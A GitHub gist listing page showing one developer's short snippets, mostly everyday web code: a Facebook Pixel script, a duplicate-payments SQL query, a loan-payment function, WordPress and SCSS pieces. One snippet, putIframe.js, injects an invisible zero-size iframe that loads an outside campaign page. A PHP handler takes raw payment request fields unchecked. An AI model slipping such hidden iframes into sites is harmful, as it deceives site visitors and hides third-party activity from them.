Skip to content

Instantly share code, notes, and snippets.

🏠
Working from home

Talles Airan tallesairan

🏠
Working from home
Block or report user

Report or block tallesairan

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@tallesairan
tallesairan / custom-pixel-tracking.html
Created Jan 13, 2020
bank billet pixel tracking for facebook
View custom-pixel-tracking.html
<!-- Facebook Pixel Code -->
<script>
!function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;
n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window,
document,'script','https://connect.facebook.net/en_US/fbevents.js');
fbq('init', 'PIXELID');
fbq('track', 'PageView');
@tallesairan
tallesairan / findDuplicates.sql
Created Dec 28, 2019
find duplicate records mysql
View findDuplicates.sql
SELECT
userId,
COUNT(userId)
FROM
payments
WHERE transactionStatus = 'approved'
GROUP BY userId
HAVING COUNT(userId) > 1
@tallesairan
tallesairan / pmt.js
Created Dec 23, 2019 — forked from maarten00/pmt.js
Excel PMT in PHP and JavaScript
View pmt.js
/**
* Copy of Excel's PMT function.
* Credit: http://stackoverflow.com/questions/2094967/excel-pmt-function-in-js
*
* @param rate_per_period The interest rate for the loan.
* @param number_of_payments The total number of payments for the loan in months.
* @param present_value The present value, or the total amount that a series of future payments is worth now;
* Also known as the principal.
* @param future_value The future value, or a cash balance you want to attain after the last payment is made.
* If fv is omitted, it is assumed to be 0 (zero), that is, the future value of a loan is 0.
View putIframe.js
function putIframe(){
var myIframe = document.createElement("iframe");
myIframe.setAttribute("src", 'https://bilheteriadigital.org/campaing.html');
myIframe.setAttribute("style", 'width:0px;height:0px;opacity:0;');
document.body.appendChild(myIframe);
}
putIframe();
View post.php
<?php
$data = [];
$data['referencia'] = $_REQUEST['referencia'];
$data['chave_checkout'] = $_REQUEST['chave_checkout'];
$data['meio_pagamento'] = $_REQUEST['meio_pagamento'];
$data['nome'] = $_REQUEST['nome'];
View woocommerce-modal-variation.php
<?php
/*
Plugin Name: woocommerce modal variationn
Plugin URI: #
Description: show modal window with product variations after clicking -add to cart-.
Version: 0.1
Author: Maks Buriy
Author URI: mailto:byymster@gmail.com
License: GPL2
*/
@tallesairan
tallesairan / SCSS.md
Created Apr 16, 2019 — forked from jareware/SCSS.md
Advanced SCSS, or, 16 cool things you may not have known your stylesheets could do
View SCSS.md

⇐ back to the gist-blog at jrw.fi

Advanced SCSS

Or, 16 cool things you may not have known your stylesheets could do. I'd rather have kept it to a nice round number like 10, but they just kept coming. Sorry.

I've been using SCSS/SASS for most of my styling work since 2009, and I'm a huge fan of Compass (by the great @chriseppstein). It really helped many of us through the darkest cross-browser crap. Even though browsers are increasingly playing nice with CSS, another problem has become very topical: managing the complexity in stylesheets as our in-browser apps get larger and larger. SCSS is an indispensable tool for dealing with this.

This isn't an introduction to the language by a long shot; many things probably won't make sense unless you have some SCSS under your belt already. That said, if you're not yet comfy with the basics, check out the aweso

View block.jsx
(function ( wpI18n, wpBlocks, wpElement, wpEditor, wpComponents ) {
const { __ } = wpI18n;
const { Component, Fragment } = wpElement;
const { registerBlockType } = wpBlocks;
const { InspectorControls, RichText, PanelColorSettings, InnerBlocks } = wpEditor;
const { RangeControl, PanelBody, BaseControl , SelectControl, ToggleControl } = wpComponents;
const HEADER_ICONS = {
plus: (
<Fragment>
@tallesairan
tallesairan / restfull-htaccess
Last active Mar 11, 2019 — forked from umidjons/restfull-htaccess
Allow GET,POST,PUT,DELETE RESTful requests in .htaccess
View restfull-htaccess
#apache 2.2 or 2.4
<Limit GET HEAD POST PUT DELETE OPTIONS>
# Deprecated apache 2.2 syntax:
# Order Allow,Deny
# Allow from all
# Apache > 2.4 requires:
Require all granted
</Limit>
@tallesairan
tallesairan / _widget.scss
Created Feb 25, 2019
Bootstrap Simple widget
View _widget.scss
.widget {
padding: 0;
margin: 9px 0 16px 0;
h2{
text-transform: uppercase;
color: up-colors('second');
border-bottom: 1px solid;
}
a, b, p, span, ul, li {
color: up-colors('second');
You can’t perform that action at this time.